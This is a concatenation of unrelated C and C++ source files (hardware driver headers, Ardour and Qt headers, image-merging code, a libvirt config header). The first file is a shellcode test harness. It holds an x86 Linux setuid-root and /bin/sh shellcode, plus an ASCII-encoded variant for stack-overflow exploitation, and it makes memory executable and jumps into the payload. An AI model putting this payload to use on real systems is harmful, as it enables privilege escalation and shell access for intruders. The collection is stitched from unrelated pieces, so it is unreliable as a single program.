#include <sys/mman.h>
/*
*
* asicc encode shellcode test program
*
* just work for stack-overflow in jmp-sep mode
*
*
*/
/*
*
* this is linux version
*
*/
/*
char shellcode[] = \
"\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";
*/
//asicc encode shellcode
char shellcode[] = \
"\x54\x58\x2d\x5d\x54\x56\x68\x2d\x5b\x50\x54\x42\x2d\x59\x5a\x55"
"\x55\x50\x5c\x25\x23\x37\x27\x50\x25\x40\x40\x40\x21\x2d\x53\x66"
"\x2a\x25\x2d\x49\x66\x2a\x25\x2d\x59\x66\x2a\x25\x50\x2d\x6e\x33"
"\x40\x4c\x2d\x63\x30\x40\x45\x2d\x59\x37\x40\x4e\x50\x2d\x59\x4b"
"\x24\x62\x2d\x45\x42\x23\x60\x2d\x60\x51\x25\x65\x50\x2d\x2f\x4d"
"\x4f\x5a\x2d\x2b\x49\x49\x45\x2d\x27\x53\x4c\x60\x50\x2d\x5e\x5d"
"\x60\x76\x2d\x4f\x47\x56\x72\x2d\x42\x5c\x4f\x71\x50\x2d\x63\x61"
"\x71\x5f\x2d\x60\x50\x63\x52\x2d\x5e\x4e\x64\x4e\x50\x2d\x63\x3f"
"\x54\x74\x2d\x5a\x33\x4d\x6f\x2d\x64\x35\x5c\x79\x50\x2d\x40\x54"
"\x33\x28\x2d\x41\x54\x31\x29\x50\x2d\x42\x2c\x52\x5b\x2d\x3d\x2b"
"\x49\x4a\x50\x2d\x5d\x54\x61\x5b\x2d\x55\x49\x4b\x4f\x2d\x4e\x47"
"\x53\x67\x50\x2d\x5c\x60\x55\x55\x2d\x4e\x5e\x55\x40\x2d\x56\x5c"
"\x55\x61\x50";
int main() {
int size = strlen(shellcode);
void (*exploit)(void) = (void(*)(void))shellcode;
if(-1== mprotect((void*)((unsigned)shellcode&0xfffff000),0x1000,PROT_READ|PROT_WRITE|PROT_EXEC)){
perror("mprotect"); printf("shellcode size = %d\n",size);
exit(-1);
}
__asm__("lea shellcode,%esp");
__asm__("jmp shellcode");
return 0;
}
|
/******************************************************************************
°æÈ¨ËùÓÐ (C), 2001-2011, »ªÎª¼¼ÊõÓÐÏÞ¹«Ë¾
******************************************************************************
ÎÄ ¼þ Ãû : ddrc_qos_cfg.h
°æ ±¾ ºÅ : ³õ¸å
×÷ Õß : ÆÝСÇå 00242728
Éú³ÉÈÕÆÚ : 2013Äê6ÔÂ8ÈÕ
×î½üÐÞ¸Ä :
¹¦ÄÜÃèÊö : ddrc_qos_cfg.c µÄÍ·Îļþ
º¯ÊýÁбí :
ÐÞ¸ÄÀúÊ· :
1.ÈÕ ÆÚ : 2013Äê6ÔÂ8ÈÕ
×÷ Õß : ÆÝСÇå 00242728
ÐÞ¸ÄÄÚÈÝ : ´´½¨Îļþ
******************************************************************************/
/*****************************************************************************
1 ÆäËûÍ·Îļþ°üº¬
*****************************************************************************/
#ifndef __DDRC_QOS_CFG_H__
#define __DDRC_QOS_CFG_H__
#ifdef __cplusplus
#if __cplusplus
extern "C" {
#endif
#endif
/*****************************************************************************
2 ºê¶¨Òå
*****************************************************************************/
#define ddrc_printk(format, arg...) printk(format, ## arg)
#define DDRC_REG_MAP(phyAddr) ioremap(phyAddr, sizeof(unsigned long))
#define DDRC_REG_UNMAP(virAddr) iounmap(virAddr)
/*****************************************************************************
3 ö¾Ù¶¨Òå
*****************************************************************************/
/* ddrc axi port */
typedef enum {
DDRC_PORT_AXI0,
DDRC_PORT_AXI1,
DDRC_PORT_AXI2,
DDRC_PORT_AXI3,
DDRC_PORT_AXI4,
DDRC_PORT_AXI5,
DDRC_PORT_AXI6,
DDRC_PORT_AXI7,
DDRC_PORT_AXI8,
DDRC_PORT_BUTT
} ddrc_port_id;
/* qos enbale */
typedef enum {
DDRC_QOS_DISABLE,
DDRC_QOS_ENABLE,
} ddrc_qos_enable;
/* qos cfg return value */
typedef enum {
DDRC_QOS_CFG_OK,
DDRC_QOS_CFG_ERROR
} ddrc_qos_cfg_ret;
/* port ostd_mode */
typedef enum {
DDRC_OSTD_MODE_DISABLE,
DDRC_OSTD_MODE_GREEN,
DDRC_OSTD_MODE_NOGREEN1,
DDRC_OSTD_MODE_NOGREEN2,
DDRC_OSTD_MODE_BUTT
} ddrc_qos_ostd_mode;
/*****************************************************************************
4 ÏûϢͷ¶¨Òå
*****************************************************************************/
/*****************************************************************************
5 ÏûÏ¢¶¨Òå
*****************************************************************************/
/*****************************************************************************
6 STRUCT¶¨Òå
*****************************************************************************/
/*****************************************************************************
7 UNION¶¨Òå
*****************************************************************************/
/*****************************************************************************
8 OTHERS¶¨Òå
*****************************************************************************/
/*****************************************************************************
9 È«¾Ö±äÁ¿ÉùÃ÷
*****************************************************************************/
/*****************************************************************************
10 º¯ÊýÉùÃ÷
*****************************************************************************/
extern void ddrc_qos_init(void);
extern int ddrc_set_dmc_ostd_lvl(unsigned int dmc_ostd_lvl);
extern int ddrc_set_flux_cfg(
ddrc_port_id port,
ddrc_qos_enable port_en,
unsigned int port_cfg,
ddrc_qos_enable ovfl_en,
unsigned int ovfl_lvl);
extern int ddrc_set_ostd_lvl(ddrc_port_id port, unsigned int port_ostd_lvl);
extern int ddrc_set_ostd_mode(ddrc_port_id port, ddrc_qos_ostd_mode mode);
extern int ddrc_set_port_pri(
ddrc_port_id port,
unsigned int id_map,
unsigned int read_lvl,
unsigned int write_lvl);
extern int ddrc_set_pri_deliver(ddrc_port_id port, ddrc_qos_enable enable);
extern int ddrc_set_rd_age_prd(ddrc_port_id port, unsigned int clk_num);
extern int ddrc_set_rd_pri_apt(ddrc_port_id port, unsigned int clk_num);
extern int ddrc_set_rd_qos_tout(
ddrc_port_id port,
ddrc_qos_enable enable,
unsigned int qosl_tout,
unsigned int qosh_tout);
extern int ddrc_set_wr_age_prd(ddrc_port_id port, unsigned int clk_num);
extern int ddrc_set_wr_pri_apt(ddrc_port_id port, unsigned int clk_num);
extern int ddrc_set_wr_qos_tout(
ddrc_port_id port,
ddrc_qos_enable enable,
unsigned int qosl_tout,
unsigned int qosh_tout);
#ifdef __cplusplus
#if __cplusplus
}
#endif
#endif
#endif /* end of ddrc_qos_cfg.h */
|
/*ARM*/
//uint32_t *usrregs[16],userregs[16],superregs[16],fiqregs[16],irqregs[16];
//uint32_t armregs[16];
//int armirq,armfiq;
//#define PC ((armregs[15])&0x3FFFFFC)
//void dumparmregs();
//int databort;
void arm_init();
void arm_reset();
void arm_exec();
void arm_close();
|
/*
Copyright (C) 2001, 2006 Paul Davis
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*/
#ifndef __ardour_streamview_h__
#define __ardour_streamview_h__
#include <list>
#include <cmath>
#include "pbd/signals.h"
#include "ardour/location.h"
#include "enums.h"
namespace Gdk {
class Color;
}
namespace ARDOUR {
class Crossfade;
class Region;
class Route;
class Source;
class Track;
struct PeakData;
}
namespace Canvas {
class Rectangle;
class Group;
}
struct RecBoxInfo {
Canvas::Rectangle* rectangle;
framepos_t start;
ARDOUR::framecnt_t length;
};
class Selectable;
class RouteTimeAxisView;
class RegionView;
class RegionSelection;
class CrossfadeView;
class Selection;
class StreamView : public sigc::trackable, public PBD::ScopedConnectionList
{
public:
virtual ~StreamView ();
RouteTimeAxisView& trackview() { return _trackview; }
const RouteTimeAxisView& trackview() const { return _trackview; }
void attach ();
void set_zoom_all();
int set_position (gdouble x, gdouble y);
virtual int set_height (double);
virtual int set_frames_per_pixel (double);
gdouble get_frames_per_pixel () const { return _frames_per_pixel; }
virtual void horizontal_position_changed () {}
virtual void enter_internal_edit_mode ();
virtual void leave_internal_edit_mode ();
void set_layer_display (LayerDisplay);
LayerDisplay layer_display () const { return _layer_display; }
Canvas::Group* background_group() { return _background_group; }
Canvas::Group* canvas_item() { return _canvas_group; }
enum ColorTarget {
RegionColor,
StreamBaseColor
};
Gdk::Color get_region_color () const { return region_color; }
void apply_color (Gdk::Color, ColorTarget t);
uint32_t num_selected_regionviews () const;
RegionView* find_view (boost::shared_ptr<const ARDOUR::Region>);
void foreach_regionview (sigc::slot<void,RegionView*> slot);
void foreach_selected_regionview (sigc::slot<void,RegionView*> slot);
void set_selected_regionviews (RegionSelection&);
void get_selectables (ARDOUR::framepos_t, ARDOUR::framepos_t, double, double, std::list<Selectable* >&);
void get_inverted_selectables (Selection&, std::list<Selectable* >& results);
virtual void update_contents_metrics(boost::shared_ptr<ARDOUR::Region>) {}
void add_region_view (boost::weak_ptr<ARDOUR::Region>);
void region_layered (RegionView*);
virtual void update_contents_height ();
virtual void redisplay_track () = 0;
double child_height () const;
ARDOUR::layer_t layers () const { return _layers; }
virtual RegionView* create_region_view (boost::shared_ptr<ARDOUR::Region>, bool, bool) {
return 0;
}
void check_record_layers (boost::shared_ptr<ARDOUR::Region>, ARDOUR::framepos_t);
virtual void playlist_layered (boost::weak_ptr<ARDOUR::Track>);
sigc::signal<void, RegionView*> RegionViewAdded;
sigc::signal<void> RegionViewRemoved;
protected:
StreamView (RouteTimeAxisView&, Canvas::Group* background_group = 0, Canvas::Group* canvas_group = 0);
void transport_changed();
void transport_looped();
void rec_enable_changed();
void sess_rec_enable_changed();
virtual void setup_rec_box () = 0;
virtual void update_rec_box ();
virtual RegionView* add_region_view_internal (boost::shared_ptr<ARDOUR::Region>,
bool wait_for_waves, bool recording = false) = 0;
virtual void remove_region_view (boost::weak_ptr<ARDOUR::Region> );
void display_track (boost::shared_ptr<ARDOUR::Track>);
virtual void undisplay_track ();
void diskstream_changed ();
void layer_regions ();
void playlist_switched (boost::weak_ptr<ARDOUR::Track>);
virtual void color_handler () = 0;
RouteTimeAxisView& _trackview;
bool owns_background_group;
bool owns_canvas_group;
Canvas::Group* _background_group;
Canvas::Group* _canvas_group;
Canvas::Rectangle* canvas_rect; /* frame around the whole thing */
typedef std::list<RegionView* > RegionViewList;
RegionViewList region_views;
double _frames_per_pixel;
sigc::connection screen_update_connection;
std::vector<RecBoxInfo> rec_rects;
std::list< std::pair<boost::shared_ptr<ARDOUR::Region>,RegionView* > > rec_regions;
bool rec_updating;
bool rec_active;
Gdk::Color region_color; ///< Contained region color
uint32_t stream_base_color; ///< Background color
PBD::ScopedConnectionList playlist_connections;
PBD::ScopedConnection playlist_switched_connection;
ARDOUR::layer_t _layers;
LayerDisplay _layer_display;
double height;
PBD::ScopedConnectionList rec_data_ready_connections;
framepos_t last_rec_data_frame;
/* When recording, the session time at which a new layer must be created for the region
being recorded, or max_framepos if not applicable.
*/
framepos_t _new_rec_layer_time;
void setup_new_rec_layer_time (boost::shared_ptr<ARDOUR::Region>);
private:
void update_coverage_frames ();
};
#endif /* __ardour_streamview_h__ */
|
/****************************************************************************
**
** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
** All rights reserved.
** Contact: Nokia Corporation (qt-info@nokia.com)
**
** This file is part of the mkspecs of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:LGPL$
** No Commercial Usage
** This file contains pre-release code and may not be distributed.
** You may use this file in accordance with the terms and conditions
** contained in the Technology Preview License Agreement accompanying
** this package.
**
** GNU Lesser General Public License Usage
** Alternatively, this file may be used under the terms of the GNU Lesser
** General Public License version 2.1 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPL included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 2.1 requirements
** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
**
** In addition, as a special exception, Nokia gives you certain additional
** rights. These rights are described in the Nokia Qt LGPL Exception
** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
**
** If you have questions regarding the use of this file, please contact
** Nokia at qt-info@nokia.com.
**
**
**
**
**
**
**
**
** $QT_END_LICENSE$
**
****************************************************************************/
#include "../common/symbian/qplatformdefs.h"
|
#include "collerImages.h"
int max(int a, int b)
{
return a > b ? a : b;
}
int* taille(ListePoints* decalage, int hImage1, int hImage2, int lImage1, int lImage2)
{
int hauteur;
int largeur;
int* taille;
taille=mallocBis(2*sizeof(int));
if(decalage->x>=0 && decalage->y>=0){
largeur=max(lImage1,decalage->x + lImage2);
hauteur=max(hImage1,decalage->y + hImage2);
}
if(decalage->x>=0 && decalage->y<=0){
largeur=max(lImage1,decalage->x + lImage2);
hauteur=max(hImage2,(-decalage->y)+hImage1);
}
if(decalage->x<=0 && decalage->y>=0){
largeur=max(lImage2,(-decalage->x)+lImage1);
hauteur=max(hImage1,decalage->y + hImage2);
}
if(decalage->x<=0 && decalage->y<=0){
largeur=max(lImage2,(-decalage->x)+lImage1);
hauteur=max(hImage2,(-decalage->y)+hImage1);
}
taille[0]=largeur;
taille[1]=hauteur;
return(taille);
}
int pixelNoir(Image image, int x, int y, int ppm)
{
int result;
int i;
result = 1;
for (i = 0; i < ppm; i += 1)
{
result = result && !image.teinte[x][y+ppm*i];
}
return(result);
}
int** fusionCas1(ListePoints* decalage, int largeur, int hauteur, Image image1, Image image2)
{
int** matImageFinale;
int i;
int j;
int k;
int f;
k = !strcmp (image2.type,"P3") ? 3 :1;
matImageFinale=initMatrice(0,largeur*k, hauteur);
printf("cas1");
for(i=0;i<image1.width*k;i+=k){
for(j=0;j<image1.height;j++){
for (f = 0; f < k; f += 1){
matImageFinale[j][i+f]=image1.teinte[j][i+f];
}
}
}
for(i=(decalage->x+image1.width)/2*k;i<(image2.width*k+decalage->x*k);i+=k){
for(j=decalage->y;j<image2.height+decalage->y;j++){
if(!pixelNoir(image2,j-(decalage->y),i-decalage->x*k+f,k))
{
for (f = 0; f < k; f += 1)
matImageFinale[j][i+f] = image2.teinte[j-(decalage->y)][i-decalage->x*k+f];
}
}
}
return(matImageFinale);
}
int** fusionCas2(ListePoints* decalage, int largeur, int hauteur, Image image1, Image image2)
{
int** matImageFinale;
int i;
int j;
int k;
int f;
int depart;
printf("cas2");
if(strcmp(image1.type,"P2")==0 && strcmp (image2.type,"P2")==0) k=1;
if(strcmp(image1.type,"P3")==0 && strcmp (image2.type,"P3")==0) k=3;
matImageFinale=initMatrice(0,largeur*k, hauteur);
for(i=0;i<image1.width*k;i+=k){
for (j = -decalage->y; j < image1.height - decalage->y; j += 1){
for (f = 0; f < k; f += 1){
matImageFinale[j][i+f]=image1.teinte[j+decalage->y][i+f];
}
}
}
depart = abs(decalage->x)<abs(decalage->y) ? decalage->x : (decalage->x+ image1.width)*k/2;
for (i = depart; i < image2.width*k + decalage->x*k; i += k){
for (j = 0; j < image2.height; j += 1){
if(!pixelNoir(image2,j,i-decalage->x*k+f,k))
{
for (f = 0; f < k; f += 1){
matImageFinale[j][i+f] = image2.teinte[j][i-decalage->x*k+f];
}
}
}
}
return(matImageFinale);
}
int** fusion(ListePoints* decalage, int largeur, int hauteur, Image image1, Image image2)
{
int** matImageFinale;
if(decalage->x>=0 && decalage->y>=0){
matImageFinale=fusionCas1(decalage, largeur, hauteur, image1, image2);
}
if(decalage->x>=0 && decalage->y<=0){
matImageFinale=fusionCas2(decalage, largeur, hauteur, image1, image2);
}
if (decalage->x<=0 && decalage->y>=0){
decalage->x = -decalage->x;
decalage->y = -decalage->y;
matImageFinale = fusionCas2(decalage, largeur, hauteur, image2, image1);
decalage->x = -decalage->x;
decalage->y = -decalage->y;
}
if(decalage->x<=0 && decalage->y<=0){
decalage->x = -decalage->x;
decalage->y = -decalage->y;
matImageFinale=fusionCas1(decalage, largeur, hauteur, image2, image1);
decalage->x = -decalage->x;
decalage->y = -decalage->y;
}
return(matImageFinale);
}
Image imageCollee (Image image1, Image image2, ListePoints decalage)
{
Image imageFinale;
int teinteMax;
int* size;
int** matImageFinale;
char* type;
if(strcmp(image1.type,"P2")==0 && strcmp(image2.type,"P2")==0) type="P2";
if(strcmp(image1.type,"P3")==0 && strcmp(image2.type,"P3")==0) type="P3";
teinteMax=max(image1.teinteMax,image2.teinteMax);
size=taille(&decalage,image1.height,image2.height,image1.width,image2.width);
matImageFinale=fusion(&decalage, size[0], size[1],image1,image2);
imageFinale=creationImage(type,size[0],size[1],teinteMax, matImageFinale);
return(imageFinale);
}
|
/*
* EffecTV for Android
* Copyright (C) 2013 Morihiro Soft
*
* LensTV.h :
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/*
* EffecTV - Realtime Digital Video Effector
* Copyright (C) 2001-2006 FUKUCHI Kentaro
*
* lensTV - old skool Demo lens Effect
* Code taken from "The Demo Effects Colletion" 0.0.4
* http://www.paassen.tmfweb.nl/retrodemo.html
*
*
* Ported to EffecTV BSB by Buddy Smith
* Modified from BSB for EffecTV 0.3.x by Ed Tannenbaaum
* ET added interactive control via mouse as follows....
* Spacebar toggles interactive mode (off by default)
* In interactive mode:
* Mouse with no buttons pressed moves magnifier
* Left button and y movement controls size of magnifier
* Right Button and y movement controls magnification.
*
* This works best in Fullscreen mode due to mouse trapping
*
* You can now read the fine print in the TV advertisements!
*/
#ifndef __LensTV__
#define __LensTV__
#include "BaseEffecTV.h"
class LensTV : public BaseEffecTV {
typedef BaseEffecTV super;
protected:
int show_info;
int mode;
int lens_x;
int lens_y;
int lens_xd;
int lens_yd;
int lens_size;
int lens_crvr;
int* lens;
virtual void intialize(bool reset);
virtual int readConfig();
virtual int writeConfig();
public:
LensTV(void);
virtual ~LensTV(void);
virtual const char* name(void);
virtual const char* title(void);
virtual const char** funcs(void);
virtual int start(Utils* utils, int width, int height);
virtual int stop(void);
virtual int draw(YUV* src_yuv, RGB32* dst_rgb, char* dst_msg);
virtual const char* event(int key_code);
virtual const char* touch(int action, int x, int y);
protected:
int init(void);
void clipmag(void);
void apply_lens(int ox, int oy, RGB32* src,RGB32* dst);
};
#endif // __LensTV__
|
#ifndef OKN_SYSTEM_H
#define OKN_SYSTEM_H
#include "okn_global.h"
#include "system/okn_time.h"
extern int okn_system_init(void);
extern int okn_system_dest(void);
#endif
|
/**
* \file mikc.c
* License details are found in the file LICENSE.
* \brief
* Initialization of IKC master channel
* \author Taku Shimosawa <shimosawa@is.s.u-tokyo.ac.jp> \par
* Copyright (C) 2011 - 2012 Taku Shimosawa
*/
/*
* HISTORY:
*/
#include <kmsg.h>
#include <ihk/cpu.h>
#include <ihk/debug.h>
#include <ihk/ikc.h>
#include <ikc/msg.h>
#include <kmalloc.h>
static struct ihk_ikc_channel_desc *mchannel;
static int arch_master_channel_packet_handler(struct ihk_ikc_channel_desc *,
void *__packet, void *arg);
void ihk_ikc_master_init(void)
{
mchannel = kmalloc(sizeof(struct ihk_ikc_channel_desc) +
sizeof(struct ihk_ikc_master_packet),
IHK_MC_AP_CRITICAL);
ihk_mc_ikc_init_first(mchannel, arch_master_channel_packet_handler);
}
extern int host_ikc_inited;
static int arch_master_channel_packet_handler(struct ihk_ikc_channel_desc *c,
void *__packet, void *arg)
{
struct ihk_ikc_master_packet *packet = __packet;
switch (packet->msg) {
case IHK_IKC_MASTER_MSG_INIT_ACK:
kprintf("Master channel init acked.\n");
host_ikc_inited = 1;
break;
}
return 0;
}
struct ihk_ikc_channel_desc *ihk_mc_get_master_channel(void)
{
return mchannel;
}
|
/* Driver for Realtek PCI-Express card reader
* Header file
*
* Copyright(c) 2009 Realtek Semiconductor Corp. All rights reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2, or (at your option) any
* later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, see <http://www.gnu.org/licenses/>.
*
* Author:
* wwang (wei_wang@realsil.com.cn)
* No. 450, Shenhu Road, Suzhou Industry Park, Suzhou, China
*/
#ifndef __REALTEK_RTSX_H
#define __REALTEK_RTSX_H
#include <asm/io.h>
#include <asm/bitops.h>
#include <linux/delay.h>
#include <linux/interrupt.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/pci.h>
#include <linux/mutex.h>
#include <linux/cdrom.h>
#include <linux/workqueue.h>
#include <linux/timer.h>
#include <linux/time.h>
#include <scsi/scsi.h>
#include <scsi/scsi_cmnd.h>
#include <scsi/scsi_device.h>
#include <scsi/scsi_devinfo.h>
#include <scsi/scsi_eh.h>
#include <scsi/scsi_host.h>
#include "debug.h"
#include "trace.h"
#include "general.h"
#define CR_DRIVER_NAME "rts_pstor"
#define pci_get_bus_and_slot(bus, devfn) \
pci_get_domain_bus_and_slot(0, (bus), (devfn))
/*
* macros for easy use
*/
#define rtsx_writel(chip, reg, value) \
iowrite32(value, (chip)->rtsx->remap_addr + reg)
#define rtsx_readl(chip, reg) \
ioread32((chip)->rtsx->remap_addr + reg)
#define rtsx_writew(chip, reg, value) \
iowrite16(value, (chip)->rtsx->remap_addr + reg)
#define rtsx_readw(chip, reg) \
ioread16((chip)->rtsx->remap_addr + reg)
#define rtsx_writeb(chip, reg, value) \
iowrite8(value, (chip)->rtsx->remap_addr + reg)
#define rtsx_readb(chip, reg) \
ioread8((chip)->rtsx->remap_addr + reg)
#define rtsx_read_config_byte(chip, where, val) \
pci_read_config_byte((chip)->rtsx->pci, where, val)
#define rtsx_write_config_byte(chip, where, val) \
pci_write_config_byte((chip)->rtsx->pci, where, val)
#define wait_timeout_x(task_state, msecs) \
do { \
set_current_state((task_state)); \
schedule_timeout((msecs) * HZ / 1000); \
} while (0)
#define wait_timeout(msecs) wait_timeout_x(TASK_INTERRUPTIBLE, (msecs))
#define STATE_TRANS_NONE 0
#define STATE_TRANS_CMD 1
#define STATE_TRANS_BUF 2
#define STATE_TRANS_SG 3
#define TRANS_NOT_READY 0
#define TRANS_RESULT_OK 1
#define TRANS_RESULT_FAIL 2
#define SCSI_LUN(srb) ((srb)->device->lun)
typedef unsigned long DELAY_PARA_T;
struct rtsx_chip;
struct rtsx_dev {
struct pci_dev *pci;
/* pci resources */
unsigned long addr;
void __iomem *remap_addr;
int irq;
/* locks */
spinlock_t reg_lock;
struct task_struct *ctl_thread; /* the control thread */
struct task_struct *polling_thread; /* the polling thread */
/* mutual exclusion and synchronization structures */
struct completion cmnd_ready; /* to sleep thread on */
struct completion control_exit; /* control thread exit */
struct completion polling_exit; /* polling thread exit */
struct completion notify; /* thread begin/end */
struct completion scanning_done; /* wait for scan thread */
wait_queue_head_t delay_wait; /* wait during scan, reset */
struct mutex dev_mutex;
/* host reserved buffer */
void *rtsx_resv_buf;
dma_addr_t rtsx_resv_buf_addr;
char trans_result;
char trans_state;
struct completion *done;
/* Whether interrupt handler should care card cd info */
u32 check_card_cd;
struct rtsx_chip *chip;
};
typedef struct rtsx_dev rtsx_dev_t;
/* Convert between rtsx_dev and the corresponding Scsi_Host */
static inline struct Scsi_Host *rtsx_to_host(struct rtsx_dev *dev)
{
return container_of((void *) dev, struct Scsi_Host, hostdata);
}
static inline struct rtsx_dev *host_to_rtsx(struct Scsi_Host *host)
{
return (struct rtsx_dev *) host->hostdata;
}
static inline void get_current_time(u8 *timeval_buf, int buf_len)
{
struct timeval tv;
if (!timeval_buf || (buf_len < 8))
return;
do_gettimeofday(&tv);
timeval_buf[0] = (u8)(tv.tv_sec >> 24);
timeval_buf[1] = (u8)(tv.tv_sec >> 16);
timeval_buf[2] = (u8)(tv.tv_sec >> 8);
timeval_buf[3] = (u8)(tv.tv_sec);
timeval_buf[4] = (u8)(tv.tv_usec >> 24);
timeval_buf[5] = (u8)(tv.tv_usec >> 16);
timeval_buf[6] = (u8)(tv.tv_usec >> 8);
timeval_buf[7] = (u8)(tv.tv_usec);
}
/* The scsi_lock() and scsi_unlock() macros protect the sm_state and the
* single queue element srb for write access */
#define scsi_unlock(host) spin_unlock_irq(host->host_lock)
#define scsi_lock(host) spin_lock_irq(host->host_lock)
#define lock_state(chip) spin_lock_irq(&((chip)->rtsx->reg_lock))
#define unlock_state(chip) spin_unlock_irq(&((chip)->rtsx->reg_lock))
/* struct scsi_cmnd transfer buffer access utilities */
enum xfer_buf_dir {TO_XFER_BUF, FROM_XFER_BUF};
int rtsx_read_pci_cfg_byte(u8 bus, u8 dev, u8 func, u8 offset, u8 *val);
#endif /* __REALTEK_RTSX_H */
|
/*
* libxl_conf.h: libxl configuration management
*
* Copyright (C) 2011-2014 SUSE LINUX Products GmbH, Nuernberg, Germany.
* Copyright (C) 2011 Univention GmbH.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library. If not, see
* <http://www.gnu.org/licenses/>.
*
* Authors:
* Jim Fehlig <jfehlig@novell.com>
* Markus Groß <gross@univention.de>
*/
#ifndef LIBXL_CONF_H
# define LIBXL_CONF_H
# include <libxl.h>
# include "internal.h"
# include "libvirt_internal.h"
# include "virdomainobjlist.h"
# include "domain_event.h"
# include "capabilities.h"
# include "configmake.h"
# include "virportallocator.h"
# include "virobject.h"
# include "virchrdev.h"
# include "virhostdev.h"
# include "locking/lock_manager.h"
# define LIBXL_DRIVER_NAME "xenlight"
# define LIBXL_VNC_PORT_MIN 5900
# define LIBXL_VNC_PORT_MAX 65535
# define LIBXL_MIGRATION_PORT_MIN 49152
# define LIBXL_MIGRATION_PORT_MAX 49216
/* Used for prefix of ifname of any network name generated dynamically
* by libvirt for Xen, and cannot be used for a persistent network name. */
# define LIBXL_GENERATED_PREFIX_XEN "vif"
# define LIBXL_CONFIG_BASE_DIR SYSCONFDIR "/libvirt"
# define LIBXL_CONFIG_DIR SYSCONFDIR "/libvirt/libxl"
# define LIBXL_AUTOSTART_DIR LIBXL_CONFIG_DIR "/autostart"
# define LIBXL_STATE_DIR LOCALSTATEDIR "/run/libvirt/libxl"
# define LIBXL_LOG_DIR LOCALSTATEDIR "/log/libvirt/libxl"
# define LIBXL_LIB_DIR LOCALSTATEDIR "/lib/libvirt/libxl"
# define LIBXL_SAVE_DIR LIBXL_LIB_DIR "/save"
# define LIBXL_DUMP_DIR LIBXL_LIB_DIR "/dump"
# define LIBXL_BOOTLOADER_PATH "pygrub"
# ifndef LIBXL_FIRMWARE_DIR
# define LIBXL_FIRMWARE_DIR "/usr/lib/xen/boot"
# endif
# ifndef LIBXL_EXECBIN_DIR
# define LIBXL_EXECBIN_DIR "/usr/lib/xen/bin"
# endif
typedef struct _libxlDriverPrivate libxlDriverPrivate;
typedef libxlDriverPrivate *libxlDriverPrivatePtr;
typedef struct _libxlDriverConfig libxlDriverConfig;
typedef libxlDriverConfig *libxlDriverConfigPtr;
struct _libxlDriverConfig {
virObject parent;
const libxl_version_info *verInfo;
unsigned int version;
/* log stream for driver-wide libxl ctx */
FILE *logger_file;
xentoollog_logger *logger;
/* libxl ctx for driver wide ops; getVersion, getNodeInfo, ... */
libxl_ctx *ctx;
/* Controls automatic ballooning of domain0. If true, attempt to get
* memory for new domains from domain0. */
bool autoballoon;
char *lockManagerName;
int keepAliveInterval;
unsigned int keepAliveCount;
/* Once created, caps are immutable */
virCapsPtr caps;
char *configBaseDir;
char *configDir;
char *autostartDir;
char *logDir;
char *stateDir;
char *libDir;
char *saveDir;
char *autoDumpDir;
};
struct _libxlDriverPrivate {
virMutex lock;
virHostdevManagerPtr hostdevMgr;
/* Require lock to get reference on 'config',
* then lockless thereafter */
libxlDriverConfigPtr config;
/* Atomic inc/dec only */
unsigned int nactive;
/* Immutable pointers. Caller must provide locking */
virStateInhibitCallback inhibitCallback;
void *inhibitOpaque;
/* Immutable pointer, self-locking APIs */
virDomainObjListPtr domains;
/* Immutable pointer, immutable object */
virDomainXMLOptionPtr xmlopt;
/* Immutable pointer, self-locking APIs */
virObjectEventStatePtr domainEventState;
/* Immutable pointer, self-locking APIs */
virPortAllocatorPtr reservedGraphicsPorts;
/* Immutable pointer, self-locking APIs */
virPortAllocatorPtr migrationPorts;
/* Immutable pointer, lockless APIs*/
virSysinfoDefPtr hostsysinfo;
/* Immutable pointer. lockless access */
virLockManagerPluginPtr lockManager;
};
# define LIBXL_SAVE_MAGIC "libvirt-xml\n \0 \r"
# ifdef LIBXL_HAVE_SRM_V2
# define LIBXL_SAVE_VERSION 2
# else
# define LIBXL_SAVE_VERSION 1
# endif
typedef struct _libxlSavefileHeader libxlSavefileHeader;
typedef libxlSavefileHeader *libxlSavefileHeaderPtr;
struct _libxlSavefileHeader {
char magic[sizeof(LIBXL_SAVE_MAGIC)-1];
uint32_t version;
